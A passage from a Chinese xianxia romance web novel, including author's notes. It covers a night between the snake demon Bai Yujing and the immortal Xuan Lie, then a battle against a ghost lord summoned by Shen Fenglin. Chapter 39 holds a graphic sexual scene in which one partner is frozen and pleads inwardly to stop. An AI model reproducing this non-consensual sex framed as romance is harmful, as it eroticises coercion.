那一次也是这样,他因为妒意失去了判断力,一时不察之下,眼睁睁看着白玉京“陨落”在自己手中。 “……” 玄冽冷着脸攥紧手心,任由手指在其中划开一道无血的苍白伤口。 灵心形成的过程,与无情道逆途而行,而情感湮灭的过程则和无情道一致。 最刻骨铭心的情绪反而会保留到最后一刻方能湮灭。 而待到其他情绪尽数消失殆尽后,他便会彻底成为一个只剩妒忌的丑陋怪物。 ……绝对不能让卿卿看到自己那副模样。 玄冽深吸了一口气,在池水中浸泡了良久,直至心头的妒火逐渐凉下去后,才起身回屋。 然而,刚走到竹屋外,窗中透出的红色烛光便让玄冽脚步一顿。 当他推开门扉后,他整个人便彻底凝滞在原地。 却见烛光之下,低垂着眉眼的美人端庄地坐在床榻上,像是受某种传统教导长大的温柔妻子。 然而,与之形成鲜明对比的是烛光下那具□□,只缀着金玉珠宝的柔软身躯。 如此艳景却与那人守礼自持的姿态交织在一起,有那么一瞬间,玄冽眼底不受控制地闪过一丝浓郁的暗色,下意识以为自己还在梦中。 “郎君……” 白玉京于烛光中缓缓抬起双眸,眼底仿佛潋滟着如蜜糖一般的依恋,只不过那恋慕之下,却藏着些许近乎病态的爱意。 “明日便是那白眼狼决定启用召唤阵的时间,今夜,卿卿想为郎君践行……” “用我自己。” 作者有话说: 是的,明天假死[奶茶][奶茶] 而且小蛇产卵和他老公妒火最浓刚好撞到一起呢[奶茶][奶茶] 第39章 揭幕 星竹苑作为太微唯一拥有夜幕的领域, 却依旧没有月亮。 失了月色的星光透过竹屋洒进屋内,混着摇曳的烛光,将床榻上的美人衬得格外白皙柔软。 某种身份的改变似乎让他认为自己不该再穿着那些轻浮的单薄纱衣, 因此选择了一身端庄得体的素白色衣料。 然而,如此庄重的衣袍, 眼下却从肩膀处滑落,上半身的布料尽数堆在手肘处, 展露着胸前那枚晶莹可爱的小蛇。 圆润白腻的肩膀上, 如明月般的耳坠在烛光下轻轻摇曳。 顺着胸口继续向下, 佩戴着血玉镯的双手交叠着放在腹前, 仅看这一幕, 仿佛是什么守礼自持的名门贵冑。 然而, 若是顺着指尖继续向下, 便能看到从腿根处掀起,整齐堆在腰侧的布料。 丰腴柔软的细白腿肉因此一览无余,但微微隆起的小腹却被恰到好处地遮盖在布料之下,就那么瞒天过海地藏匿在丈夫眼下。 玄冽蓦然关上屋门, 却在门口站立了良久, 才一步步向床榻走去。 他的理智告诉他,十年之期将至, 他的情感正在随着时间消散, 眼下已经出现了恶化的征兆, 自己不能因为一己私欲,再将对方向深渊拽去。 然而, 那扭曲的、深不见底的欲丨望却驱使着他, 让他难以克制地走到床边站定, 下意识抬起那只没有受伤的左手。 就在手心即将贴在那人脸侧的一瞬间, 玄冽却骤然停住了动作。 ……最多再有一个月,他便会将十年来的情感尽数遗忘。 他可以肯定,自己再次心动只需要一刹那,但那远远不够。 自幼在锦绣丛承受着爱意长大的小蛇,面对那种如露水般轻浮的情感时,心中的落差该有多大? 况且,灵族的感情如水似沙,一旦消弭便再无法复原,哪怕是同一个人,哪怕拥有同一段记忆,再一个十年所生的崭新的爱恨与此时也不可能一样了。 方才用冷泉硬生生压下的妒火再次燃起,端庄的小美人却在此刻轻轻扶住他停在脸侧迟迟没有放下的左手,侧脸柔软地贴了上来。 “您在害怕什么呢?”白玉京终于抬起眼眸看向他,蛇一般柔软微凉的身体紧密地贴在他怀中,声音甜腻的轻语道,“卿卿永远不会离开您的,郎君,还请您不要害怕。” ——才怪,骗你的,臭石头。 不过哪怕心底充满恶意,面上白玉京也未表现出来分毫,反而为了展现自己的忠贞,他当着丈夫的面,在对方骤然暗下来的目光中,低头缓缓咬住了玄冽的腰带。 数百年没有愈合的狰狞伤口和那具精悍到近乎完美的身躯一下子暴露在白玉京眼前。 他先是一怔,下意识涌出了一股心疼,甚至想要施法帮其愈合,可紧跟着,那股心疼之下便蓦然泛起了一股别样的愉悦。 ——这是他亲自在玄冽身上留下的伤痕,只要他不想,这道伤便永远不会愈合,往后余生,玄冽每一次低头便会想起他。 而每一个胆敢接近他所有物的人,都会被妖皇亲自留下的记号而震慑,从而噤若寒蝉,再不敢靠近分毫。 此念头一处,白玉京忍不住探出指尖,顺着那道伤痕一路向上,宛如鸿毛般拂过每一寸偾张的肌肉,最终环绕在那人的脖颈上。 从玄冽的角度,堪称居高临下的视角让他将白玉京的一切尽收眼底。 无论是颤抖如鸦羽般的睫毛、雪白清晰的锁骨还是丰腴柔软的大腿,都能一览无余。 可唯独一处,被素白的布料堆砌着,遮蔽了所有视线。 玄冽一眨不眨地凝视着怀中人的腰肢,由于布料的堆积,视觉上就好像……正在孕育着生命一样。 刹那间,汹涌的妒火猛然炸起,阴暗而扭曲的占有欲仅因这一点错觉,便瞬间席卷了所有理智。 偏偏就在这时,那不知死活的小美人还黏黏糊糊地贴上来,轻吻着他的嘴角道:“郎君,您为什么不愿意抱卿卿呢?是嫌弃卿卿不如您梦中那位漂亮吗?” “……” 白玉京看着对方因为忍耐而绷紧的下颌,心下暗笑一声,面上却牵着对方的手贴在脸颊,撒娇般缓缓道:“还是说——” “只有一半灵心的灵族,哪怕是您,也无法拥有寻常人的欲望呢?” 一击毙命。 刚准备扣住他后颈的右手骤然悬在空中。 白玉京仰眸看向神色冷到可怖的男人,笑盈盈地添了一把火道:“没关系的,只要能被郎君注视着,怎么样都可以。” 他将玄冽那只完好无损的右手贴在脸侧,故意像猫一样蹭了蹭他的掌心,一字一顿在对方耳边低语道:“哪怕卿卿往后余生的日子里,都只能用其他东西来慰藉自己……” “但只要能被您注视着,卿卿就已经很幸福了。” 此话一出,整个屋内骤然陷入了一阵令人恐怖的寂静。 说完最后一个字,有恃无恐的小美人侧过头依恋般靠在丈夫的肩膀上,满意地看着对方脖颈上瞬间暴起的青筋,甚至饶有兴致地开始在心中倒数。 三、二…… 在心底默数的声音尚未到一,身侧的琉璃几突然被人反手砸在地上,发出了一声清脆无比的碎音。 没等白玉京可惜这张陪伴了他们几天的琉璃几,被滔天妒火烧尽了所有理智的玄冽便直接掐着他的腰将他掼在了床榻上。 他一下子被摔了个七荤八素,原本特意摆弄成那副模样的衣衫也变得凌乱不堪起来。 白玉京回神后的第一反应便是探手下去捂住布料,但下一刻,他便被人攥着手腕高举在头顶,冰冷地质问道:“你打算用什么慰藉?” “……” 自以为在梦境中已经见识过玄冽全部本事,所以对此事有恃无恐的美人轻笑了一下,抽出右手,用指尖轻轻点在对方的喉结上,故意将手腕上血红的玉镯在玄冽面前晃过:“什么都可以啊,卿卿不挑的。” “郎君赐予我的手镯、耳坠,甚至您送的衣服,只要抽下腰带,我也可以……唔——” ——什么都可以,只有我不行? 此念头一处,最后一丝理智终于被彻底烧断,铺天盖地的吻兜头压下,然而白玉京仅手足无措了一秒,便立刻探出舌尖,故作娴熟地迎了上去。 只可惜,那截殷红的软舌很快便被人欺凌得狼狈一片,溃不成军的唇瓣根本没办法合拢,一时间连津液都含不住。 白玉京气结,不服输一般扭了腰就想起身,却被人掐着腰硬生生箍在原地。 玄冽手心处无血的伤痕摩擦过细嫩的软肉,白玉京猛地一颤,当即别开脸喘息道:“您的手……怎么受伤了?” 玄冽终于说出了从进屋到现在的第一句话:“小伤,不必在意。” 而白玉京并未意识到,方才那句话,竟是他今晚清醒状态下所说的最后一句话。 看着玄冽满不在乎的模样,白玉京蹙了蹙眉刚想说什么,下一刻,一点暗红蓦地从玄冽眼底荡开。 “……?” 他依旧是那副面无表情的冰冷模样,白玉京见状不知为何从心底生出了一股巨大的恐慌。 他莫名其妙地睁大眼睛,不服输地想压下那股恐惧,然后他便整个人直接凝滞在了床褥上。 因为他发现,他动不了了。 “——!?” 不是僵硬,而是彻彻底底的无法动作,甚至连眼睛都无法闭合,整片空间就好像突然掉在了哪两个世界的夹缝中一样,原本正常流逝的时间一下子被冻结了。 ……怎么回事? 白玉京冷汗直冒间没办法转头,只能仰面躺在床上,眼睁睁看着铺天盖地的暗红如血月般降下,整个世界仿佛都被包裹进了不详的笼中。 一个月之前他其实便经历过眼前的情况,但当时玄冽针对的是沈风麟,杀意浓重的气势也和眼下完全不一样,因此他一时间根本没反应过来。 就那么僵硬地过了半盏茶的时间,直到周遭的一切全部融化在暗红的血色中后,白玉京才不可思议地收缩瞳孔,骤然意识到这是什么。 ——乾坤境!? 只是被他撩拨了两句而已,玄冽这疯子竟然直接开了乾坤境!? 毛骨悚然的感觉瞬间在脑海中炸开,白玉京浑身发麻间,第一反应就是逃跑。 然而此刻的他被定格在跌入乾坤境的那一刻,除了尚能思考和依旧拥有五感外,他甚至连颤抖都做不到。 遭了……这个疯子……怎么会这样…… 其实白玉京并非真的没办法挣脱束缚,可他一旦反抗,两个渡劫期乾坤境相撞的巨大灵力波动,势必会让沈风麟发现异样。 不仅如此,他藏匿了良久的身份也会在此刻暴露。虽然玄冽大概率早就看穿了他的身份,可眼下万事俱备只欠东风,如果在此刻暴露,那先前为明天之事所做的一切准备都会功亏一篑。 当然,最重要的是……到底谁家上个床会直接开乾坤境!? 白玉京被吓得冷汗直冒,从来没有像眼下这般清楚地意识到,眼前之人简直就是个疯子。 倘若自己挣脱了他的乾坤境,玄冽下一步又会做出什么扭曲恐怖的事情来? 他根本不敢想。 因此,方才还耀武扬威的小美人此刻只能僵硬像个真正的人偶一样,连眨眼都做不到,眼睁睁看着那人缓缓俯身,笼罩在他身上。 别、别过来…… 此刻的白玉京不再像先前梦中那样,虽然被篡改了认知,却依旧可以随心所欲的动作。 眼下的他反而形成了另一种极端,脑子无比清楚,甚至能通过神识,居高临下地看到自己此刻的模样,但他的身体完全动弹不得。 彻底没办法变回蛇尾的双腿被人轻而易举地提起,稍微一掰,便能摆弄成任何符合心意的模样。 “……!” 布料随着对方摆弄人偶一样的动作,顺着大腿滑下,尽数堆在腰间,越发将小腹衬得微妙起来。 玄冽见状,眼神彻底暗了下去。 而后,他就那么掐着怀中人的腰微微向上一用力,白玉京便在难以言喻的惊慌中被人抱着悬空起来。 等、等下……不对,不该是这样的——! 按照计划,拥有丰富经验并且尚在孕期的自己,应该凭借身体和记忆的双重优势,让玄冽留下一段彻骨难忘的回忆,然后再毅然决然地丢下他。 自己已经有了两次梦境的经验……而且他已经有了宝宝,不再是那个被人碰一下就会渗出汁水的小蛇了,势必能让玄冽醉生梦死,之后做梦都忘不掉他。 ……可是,事情为什么会发展成这样?这人会突然发疯一样展开乾坤境? 不该是眼下这样的,等等——! 突然,所有的恐惧、慌张与不安尽数卡住喉咙中,可怜的小美人毫无反抗能力的睁着眼睛,被人掐着腰死死按在怀中。 他甚至连哭都做不到,大脑一片空白间,眼泪只能硬生生憋在眼底,眼前爆开绚烂如永昼的白光,有那么一瞬间,白玉京以为自己已经昏死过去了。 身处乾坤境内唯一的好处是,他终于和自己希望的一样维持住了体面端庄的表情,没有再变得和之前一样乱七八糟。 然而,没有地方宣泄的情绪就像是被硬生生堵在身体中的烟花一样,只能在内部爆开,炸得他头晕目眩。 王八蛋……玄冽这个王八蛋……呜……不要再用力了……求你…… 可惜,无论他心下是痛哭流涕地求饶还是破口大骂地羞怒,现实中的他依旧连尖叫都做不到,只能温顺地靠在对方怀中,任由对方将自己摆成任何模样。 似是察觉到了他的羞恼,玄冽顿了一下后,竟然牵着他的右手缓缓向下。 他想干什么……?! 白玉京惊恐地在心中呜咽,随即骤然意识到对方是在回答他先前带着恶意的质疑。 ——“还是说,只有一半灵心的灵族,哪怕是您,也无法拥有寻常人的欲望呢?” 白玉京眼前一黑,一口气险些没上来。 然而,玄冽似乎认为只是触碰并不足以打消妻子心头的疑虑,需要更实际的证据方能宽慰他的担忧,因此他的动作并没有停止。 感受到此,先前游刃有余的小美人终于忍不住颤抖着在心底哀求起来。 对不起.……是我错了……求你…… 卿卿真的错了……求你原谅卿卿…… 可惜,那已经不属于他的身体在它新主人的注视下变得背信弃义,它甚至遗忘了自己正在孕育的金卵。 当白玉京好不容易想起来小天道时,可就在此刻,玄冽却突然低下头,一眨不眨地凝视着他。 “.……?” 他怔愣了三秒,用余光顺着那人的目光看去,刚好落在自己被布料遮盖的小腹上。 “……!” 被、被发现了吗……? 极度的惊恐之下,白玉京下意识想去护自己的小腹,玄冽似乎看穿了他的念头,无比“贴心”地替他按在小腹上。 ——! 已经有了经验的小美人一下子猜到了丈夫下一步的动作,整个人吓得瞬间崩溃,眼泪化作汁水不住地往外渗。 别按…是卿卿的错,不该背叛夫君,对不起……但能不能不要按,会坏掉的、一定会的……求你——! “……!!” 巨大的灭顶之感袭来,瞳色刹那间没了光晕。 白玉京在一片茫然中,以为自己这次终于该晕过去的,他甚至由衷地生出了一分庆幸,庆幸于自己终于可以脱离苦海了。 可是过了仿佛有一辈子那么久,他竟然再次回过了神,看着头顶熟悉的血红领域,他崩溃地发现自己不但醒着,而且…而且还…… 乾坤境内,时间静止,这意味着白玉京的一切状态都被迫保持在最初模样,这指的不仅仅是不能动那么简单。 哭泣、大喊和谩骂都不被允许,那么其他方式的释放自然也不被允许。 在这种情况下,情绪随着一次次潮汐不断叠加,却没有出路,只能暂时停留在脑海中,等待着最终的爆发。 …… 可照这么下去,最后自己会变成什么样子? 未知往往是最令人恐惧的情绪,不安与惶恐霎时攀上白玉京心头。 偏偏就在此刻,玄冽竟低头吻住他无法发出任何声音的柔软嘴唇,抵住他的舌尖厮磨道:“卿卿在今夜献身,是觉得……我明日会死吗?” “——!?” 白玉京闻言瞬间惊出了一身冷汗。 方才被人那般欺负都没有开口的妖皇,此刻却连暴露的风险都顾不上了,蓦地用神识求饶。 【求、求求您……不要说这种话……】 灵族作为天生灵种,于修行之路上的天赋远超其他种族,而他们为此付出的相应代价却是——没有魂魄,亦没有来生。 玉碎则寂灭,身死则道消。 那几乎是刻在白玉京灵魂深处的恐惧,此刻猝不及防听到玄冽此语,他的心脏就好像一半被浸泡在冰水中,另一半则被浸泡在岩浆里一样,霎时变得冰火两重天。 然而,这一切的罪魁祸首却拿捏着他的恐惧,低下头吻过他柔软顺从的脖颈:“那卿卿为何要选在今晚?” 如果是清醒的白玉京,恐怕要痛骂他得了便宜还卖乖,白送上门的老婆不睡总在这里问东问西干什么,可惜此刻他已经变成一团浆糊的大脑根本意识不到这句话背后的深意,只能胡言乱语地敷衍着。 【没有其他原因.……只是觉得,今夜值得纪念罢了……还请您不要多想.……】 玄冽对他的解释不置可否,只是沉默着继续起动作。 梦中被调过阈值的身体和现实的感触终究是不一样的。 太超过了,真的太超过了.……好幸福.……夫君好厉害.…… 白玉京浆糊一般的大脑仿佛变成了两半,一半早已经幸福得宛如蜜糖般化掉,另一半却还在苦苦挣扎。 不对,不能再这么下去了,再这么下去,离不开对方的人就会变成自己了…… 可是为什么……自己分明是为了让玄冽明天更痛苦才这么做的,为什么被弄成这样的人反而是自己……?! 他实在承受不住了,于是开始无意识地用神识哀求:【仙尊…郎君……求您撤去乾坤境……卿卿会听话的……】 无人应答。 就这么过了不知道多久,久到白玉京的大脑彻底失去了运作能力,浑浑噩噩地连腹中的金卵都给忘了,更不用说自己先前胡言乱语许下的求饶了。 然后,玄冽就那么毫无征兆地,突然撤掉了乾坤境。 “……” 大概有那么万分之一刹那的凝滞,白玉京甚至恍惚地眨了一下眼,面色间还有些茫然。 下一刻,积攒了整整一夜的刺激骤然在身体内炸开。 “——!” 眼泪夺眶而出,原本端庄娴静的表情瞬间乱七八糟作一团,美人在崩溃的呜咽中下意识闭上眼,不愿让对方看到自己不受控制的眼珠。 可比起这些,更要命的是体内骤然开始下沉的某个部位。 迟钝的大脑终于想起来腹中即将出生的金卵,一下子清醒过来了一半。 宝宝……忍住、一定要忍住…… 如果产出来,如果在床上当着夫君的面把其他人的卵产出来的话…… 会被他生生堵住吧。 此念头一出,可怜的小美人发出了一声崩溃又难耐的啜泣,拥住身上人的脖子低头埋在对方怀中,强撑着想要压下那股冲动。 玄冽似是察觉到了某种异样,可惜白玉京已经顾不得他的反应了。 就这样过去了足足三息,他竟然当真靠着意志力忍下了那股冲动。 然而,当情绪不能通过本来的出口宣泄时,便只能另辟蹊径了。 “……!?” 怎、怎么回事……好奇怪,身体好奇怪…… 白玉京被体内骤然浮现的莫名刺激炸得七荤八素,一时间却没反应过来那是什么。 普通修士筑基之后,便会在辟谷下逐渐失去凡人正常的排泄功能。 而白玉京以金丹修为降世,从小吃得都是仙露灵肉,体内根本就没有污浊之物,自然也没有那种经历。但他从小嘴馋,现在亦是如此,心头血和蜂蜜茶都没少喝,所以另外一种功能,他其实还是有的…… 感受到怀中的热意,玄冽微妙地停顿了一下,眼底闪过了一丝近乎惊喜的诧异,下一刻,心脏深处某种难以言喻的、近乎扭曲的占有欲得到了前所未有的满足。 他低下头深深吻住呆呆地睁着眼,尚未回过神的小妻子。 当白玉京终于捡回脑子,意识到自己此刻的状态到底是什么后,他含着泪缓缓睁大了眼睛。 怎么会、怎么会……!? 羞耻感铺天盖地地袭来,一下子压垮了他的所有理智。 他可是八百岁的大妖……哪怕是幼蛇时期也没有过的,这种只有人类孩童才会出现的,控制不住的反应……怎么会…… 怎么会发生在他身上!? 眼泪夺眶而出,白玉京瞬间羞耻得泣不成声。 丢人、太丢人了…… 他已经怀了宝宝,已经做了爹爹,怎么会被弄成这副样子…… “别哭,卿卿。”罪魁祸首吻过他的眉眼,低声安慰道,“很漂亮。” “漂、漂亮你个头……!呜……你个变态.……不许看.……”可怜的小美人一时间泣不成声,顶着暴露的风险也忍不住骂道,“玄冽.……你个王八蛋.……我恨你.……!” 玄冽却低头吻过他的眉眼:“我爱你。” 白玉京闻言不知为何突然恼羞成怒,侧头一口咬在他的脖子上,那一口根本没收力,硬是将他的颈侧撕出了一道口子。 玄冽一顿,仿佛感觉不到痛一般,竟顺着那道伤口逼出了一点心头血。 尝到熟悉的味道后,白玉京蓦地一顿,生怕自己为了一口心头血再被蛊惑,挣扎着起身就要逃跑,却被人扣着腰扯了回去。 “你放开我,我要去沐浴,我不要了,你别、唔……” “好,本尊带你去沐浴。” “我自己去,你别揉……求、求……呜——!” 直到这一夜,白玉京才意识到,原来玄冽乾坤域内的时间居然真的是完全静止的。 因为从乾坤域出来后,他要面对的居然是一整个令人绝望的漫长夜晚。 白玉京终于深切体会到了什么叫祸从口出,到最后他就差给玄冽跪下求对方放过自己了,可那人却说什么他是尊贵之人,不能对自己下跪,于是硬生生把他从池水中拽起来,又抱进了怀中。 不过妖皇终究是妖皇,哪怕一夜没能得到丝毫休整,当天光明彻,最后一日终于降临时,他依旧能咬着牙从池水中爬出来,软着腰被人从温泉旁抱回屋内。 不过被人放在软榻上,白玉京便立刻侧身躲开玄冽搂在自己腰上的手。 玄冽指尖一顿:“卿卿在怪我?” ……你好意思说这话吗?你觉得呢? 白玉京心下几乎把他骂了个狗血喷头,面上却一边穿衣服一边皮笑肉不笑道:“……怎么会呢。” 很快,整洁严密的布料便再次包裹住他身上每一寸肌肤,待他将凌乱的发丝也收拾好后,整个人又变回了那个柔软娴静的小美人,仿佛昨晚的一切都没有发生过。 玄冽见状一顿,眼底骤然闪过了一丝暗色,白玉京被吓得呼吸一滞,身体不受控制地一颤,于是他连忙转移话题般说起了正事:“郎君,当时我服下沈风麟那枚药丸时,我听系统告诉他,那枚药丸还有定位作用。” “所以,今日卿卿若是冒然跟在仙尊身边,或许会拖累您。” 玄冽面不改色地看着他:“你在家中等我便是。” 白玉京闻言看了他一眼,没等玄冽意识到那一眼是什么意思,下一刻,对方竟摘下血玉镯和耳坠,随即反手割开手心,任由妖血染红了那两枚首饰。 玄冽蹙眉想要阻止,美人却垂下睫毛,将染血的首饰放在他的手心:“卿卿没什么拿得出手的东西,斗胆借花献佛,还请仙尊莫怪。” “愿以我血庇佑郎君无恙,此去战无不胜。” 白玉京话音刚落,像是在为他的话语作衬一样,窗外骤然传来了一股微妙的变化。两人同时一顿,蓦地看向窗外。 ——诡异的,不属于此方世界的力量正在以观星洞为中心缓缓荡开。 铺天盖地的蜂群密密麻麻地落在巫山殿上,花浮光和瑟缩的千机一同站在殿前,她神色凝重地看向远处浮现在山巅的巨大召唤阵。 白玉京心下猛地一跳,随即泛起了一股难以言喻的兴奋与悸动。 万事俱备,苦苦筹划的这一日……终于到了。 计划如今只剩下最后一步,无论如何,自己今天也得把这些可能被玄冽用来追踪他的首饰给还回去,不然他恐怕刚回到妖界便会被这疯子直接找上门。 思及此,为了打消玄冽面对这些首饰的疑心,白玉京一咬牙,垂下睫毛盖住眼底的情绪,软着声音地承诺道:“这两样首饰还请仙尊等下战斗时不要碰碎了,卿卿等着您回来之后再给我戴上。” 言罢,他生怕玄冽不答应,停顿了一下后,心一狠又补充道: “这一次……您想戴在卿卿的哪里都可以。” 作者有话说: 对不起小蛇,对不起小蛇,对不起小蛇,可是你真的太好欺负了,再加上你老公有时停不用真的可惜啊,一时间没忍住啊小蛇对不起[爆哭][爆哭] 下章一定是你的回合!!请你相信妈妈[可怜][可怜] 第40章 噩梦 太微是著名的乾元世界, 大部分在此方世界修炼的巫族已经有数百年乃至上千年未曾见过黑夜了。 然而,此刻太微天幕之上,诸星黯淡, 不详的黑夜如幕布般缓缓遮住整片天际。 长夜之下,诡异的五角阵法倒悬于天幕, 将地面上四起的巫阵衬得格外渺小。 巫族不善争斗,却是六族中最善阵法的一族, 哪怕众巫根本没见过那奇怪的阵法, 还是有不少人一眼辨认出了异样:“召唤阵?” “古籍上从未出现过此种召唤阵……恐来者不善, 诸君小心!” “大巫已在巫山殿前启动千机阵, 诸位莫慌!” 太微乃是巫族至高界, 能到此处修行的巫族最低修为也在元婴, 故而所有看到这一幕的巫修都未四散奔逃, 反而异常冷静地开始结阵。 不过有不少巫修迟了一步,有人刚戴上面具,天幕之上的阵法便已成型。 一个男巫见状心下正直呼不好,一只金色的蜜蜂便在此刻悄然落在他的肩膀。 巫修一怔, 蓦然扭头看向那只蜜蜂。 ……哪来的蜜蜂?为什么感受不到任何灵力波动? 没等他思索明白, 一道成熟冷静的女声在他耳边响起:【退后。】 话音刚落,一阵诡异的波动便从那倒悬之阵中荡开, 巫修心肺骤停, 根本来不及结阵, 却见金光乍起,密密麻麻的蜂巢骤然平铺在他面前, 硬生生替他挡下了那股威波! 与此同时, 巨大的金色蜂巢如山一般伫立在巫山殿前, 将整个巫山殿围得固若金汤, 其上彰显出的蜂王之力竟隐隐不输渡劫。 蜂巢之内,千机扶着巫祝擦冷汗道:“百年不见,蜂王陛下还是如此风采依旧。” 花浮光一眨不眨地看着远处的召唤阵,闻言淡淡道:“你倒是还和千年前一样怕死,龟兹。” 千机:“……” 骤然被戳破身份,千机大巫,不,更换了身份的龟兹大巫沉默了半晌,才再次开口道:“凰族圣女渡劫大圆满,涅槃化卵;大阿修罗王半步飞升,抽刀断角……天下大能如过江之鲫,其中苟且偷生者,又岂止老朽一人?” 花浮光冷笑一声,还没来得及接话,便听千机叹了口气道:“并非所有人都和人皇一般,拥有敢于直面飞升的勇气。” “您子嗣十不存一,今日只有大乘之姿,不也是一样吗?” “……” 花浮光一言不发地看向召唤阵,半晌冷冷道:“朕子嗣确实十不存一,你猜杀你需要几息?” “区区枯木朽株而已,何须蜂王动手。”千机翻手戴上面具,五感俱灭间,清晰地“看”到召唤阵正中央的那枚圣石,“阵法即将启动,还请陛下小心了。” 花浮光反手从虚空中拔出金色耀眼的蜂刀,铺天盖地的虫群席卷而来:“用不着你提醒。” 倒悬之阵前,蔚蓝的披风在沈风麟身后猎猎而起,他的修为从化神期节节攀升,最终,定格在合体期。 看着彻底启动的法阵,沈风麟露出了一个胜券在握的笑容,随即双手合十,扬声道:“有请——碧魂阎罗!” 那道声音透过鬼雾,清晰地传到每一个修士耳中。 无数巫修震惊抬眸,却见三生石在阵法中闪烁出诡异的暗紫色光芒,下一刻,渡劫期鬼修阴森恐怖的气息瞬间在整个太微世界中铺开! 阴风怒号中,看着那从召唤阵中缓缓降下的三眼碧眸巨尸,花浮光蹙了蹙眉,攥紧手中的蜂刀:“竟真是碧魂……玄冽怎么还没来?” “……老朽不知。” 千机说着竟后退了一步,俨然是打算往巫山殿里躲,花浮光见状一把攥住他的衣领,语气森然道:“在你家地盘上打架,你想逃去哪儿,老王八?” 千机冷汗直冒道:“老朽不善争斗,在此处恐让蜂王掣肘……” “朕岂会因您掣肘?你在此处老老实实给朕呆着!” 千只金色复眼同时从半空中张开,居高临下地看着千机威胁道:“还有,朕提前警告你,此事结束后,你若是敢让玄冽知道吾皇的身份——” 千机:“……” 万枚蜂刺于空中一闪而过,千机连忙叠声保证道:“是是是,还请陛下放心,老朽一定——” 他话未说完,沈风麟的声音竟然再次从天际处传来:“有请——司木大巫句芒。” 花浮光和千机几乎同时抬眸看向那第二个张开的召唤阵。 无数巫修听到自家大巫的名号,一时间皆被惊得怔在原地。 然而,就在这种万众瞩目的情况下,第二个召唤阵却僵持在半空中,迟迟没有彻底启动。 沈风麟笑容一下子僵在了脸上。 ……怎么回事?灵力不足? 系统随即响起了一阵报错声:【巫族召唤阵启动失败,祈星石不存在,请宿主重新摆放。】 ……什么叫祈星石不存在?! 不可能,先前明明已经用它启动过召唤阵了,为什么偏偏这次不行!? 震惊混杂着慌张瞬间攀至沈风麟心头,他闪身到阵眼面前,一把拿出祈星石,带着巨大的希冀重新将祈星石放回阵眼。 可是,阵法依旧没有亮。 【巫族召唤阵启动失败,祈星石不存在,请宿主重新摆放。】 冰冷的系统提示音像是一盆冷水兜头浇下,沈风麟面色空白地在原地僵了片刻,突然意识到了什么,不可思议地抬眸凝望着远处那抹代表着定位的红点。 下一刻,沈风麟瞬间闪身到竹屋外,愤怒与惊恐之下,他根本顾不得其中人的安危,借来碧魂的能力,覆手一击鬼息便将竹屋砸了个粉碎。 ——空空如也。 沈风麟僵在原地,不可思议地看向依旧飘在眼前的红点。 系统的定位失败了,为什么? 系统上分明显示着丹药正在生效中,可竹屋内根本没有白玉京这个人,为什么!? 不可能……系统不可能出错! 沈风麟呼吸急促间蓦地咳嗽起来,可他的四肢却在惶恐中麻木得根本无法动弹。 既然系统不可能出错,那便只剩下一种可能了——白玉京有办法逃脱系统的限制。 区区金丹蛇妖,为什么能做到?难道白玉京也是穿越者?! 不对……游戏分明只有他一个人参与了内测…… 沈风麟恐惧得几乎想要呕吐,就在此刻,他的身后突然传来了一股更加危险且让他无比熟悉的气息。 “——!” 天地突然安静了下去。 漆黑的夜色之中,缓缓浮现了一轮鲜血淋漓的圆月,将整片天幕都染成了不详的血色。 但地面之上,与之相对应铺开的却是森然凛冽的苍白雪色。 和面对白玉京那种寂静的、甚至有些温情的乾坤境不同,此刻,凛冽肃杀的戾气瞬间席卷了整个太微世界,置身其内的所有修士刹那间停滞在原地。 是玄冽,他来了……他就在自己身后…… 那种刻在沈风麟骨头中的恐惧霎时压过了一切,让他的大脑在一片空白间瞬间只剩下一个念头。 ——只有一张五星卡也无所谓,哪怕是动用最终手段,无论如何,今天一定要杀了玄冽! 沈风麟目眦欲裂地回头,看着天地间那道可怖的人影,破釜沉舟地怒吼道:“碧魂,杀了玄冽!” 鬼主闻言缓缓抬起空洞的三目,森然诡异的乾坤境骤然展开——万鬼齐喑。 只不过,那些从鬼主乾坤中不断爬出的恶鬼,在那轮血月的衬托下,竟显得没那么恐怖了。 一时间有些难以分清到底谁才是真正的鬼主。 白玉京甩了甩尾尖坐在远处的青铜树上,看着眼前的一幕不由得眯了眯眼。 ……看来这臭石头昨天晚上对自己还算手下留情。 不过,道侣太强了有时候也不是个好事,以眼下两人的实力来看,碧魂根本不可能是玄冽的对手,这让他等下怎么施行计划? 难道直接冲上去随便找个小鬼撞死吗? 先不说去哪找这么个恰到好处出现在玄冽面前还没被他砍死的小鬼,单说在玄冽的乾坤境内这么做,对方恐怕顷刻之间就能把他救下。 况且,就算上述问题都能解决,他区区一个金丹期小妖,莫名其妙的以玄冽都看不透的速度飞速撞死,事情未免也太假了一些。 别说让玄冽痛不欲生了,别让对方笑出来恐怕便是最大的胜利了。 想到这里,白玉京面色不由得沉吟下去。 目前的好消息是,魂修没有实体,那三眼巨尸只是碧魂幻化出来的本体,他真正的魂魄本体应该藏在巨尸的某个眼睛中。 玄冽乾坤境的时间凝滞只对实体有效果,所以碧魂多少能撑一会儿,看来沈风麟召唤前没少针对玄冽的乾坤境下功夫。 但坏消息是,也只能撑一会儿了。 毕竟时间控制只是乾坤境的第一重而已。 白玉京垂眸看着那些不断产生又不断被震碎的恶鬼,一时竟泛起了些许怜悯。 一些恶鬼自身的实力便在化神以上,当这些化神以上的魂体被震碎后,它们居然能重新聚合,实力也会随之提升,最终甚至能形成堪比大乘期鬼王的魂团。 死而复生,永世轮回。 这便是渡劫期魂修的实力。只可惜……和玄天仙尊相比,差得不是一星半点。 天幕之上淌血的血月突然如同心脏般跳动了一下,两只大乘鬼王猝不及防下竟被扭曲着身体传送在一处,巨大而无声的碰撞中,滔天的鬼火霎时在鬼群中引燃了一场炼狱火。 ——血域乾坤第二重,纵横捭阖。 白玉京见状不知怎的心下一颤,忍不住甩了甩尾巴。 往日他看见玄冽这些能力,只会想着交手时自己该怎么应对,可经过了昨晚之事后,看着乾坤境内那些身体被扭曲到其他地方,剩余身体却依旧在挣扎的恶鬼,白玉京第一反应却是——玄冽哪一天心血来潮,不会在床上用这一招对付他吧? “……” 白玉京被自己的“奇思妙想”吓得打了个冷战,连尾尖都忍不住蜷缩起来。 与此同时,看着根本不是玄冽对手的碧魂,沈风麟近乎绝望地对着系统破口大骂:【玄冽这种强度就算是十张五星卡也不可能赢,你之前给的攻略是什么意思?!故意让我送死吗!?】 系统不知为何没有回复,沈风麟刚准备继续质问,血月便再次于天幕之上跳动了一下。 “……!?” 沈风麟惊恐不已地回头,整个人弥漫着一股崩溃般的绝望——开玩笑的吧,到底谁才是鬼主? 血域乾坤第三重,无量血海。 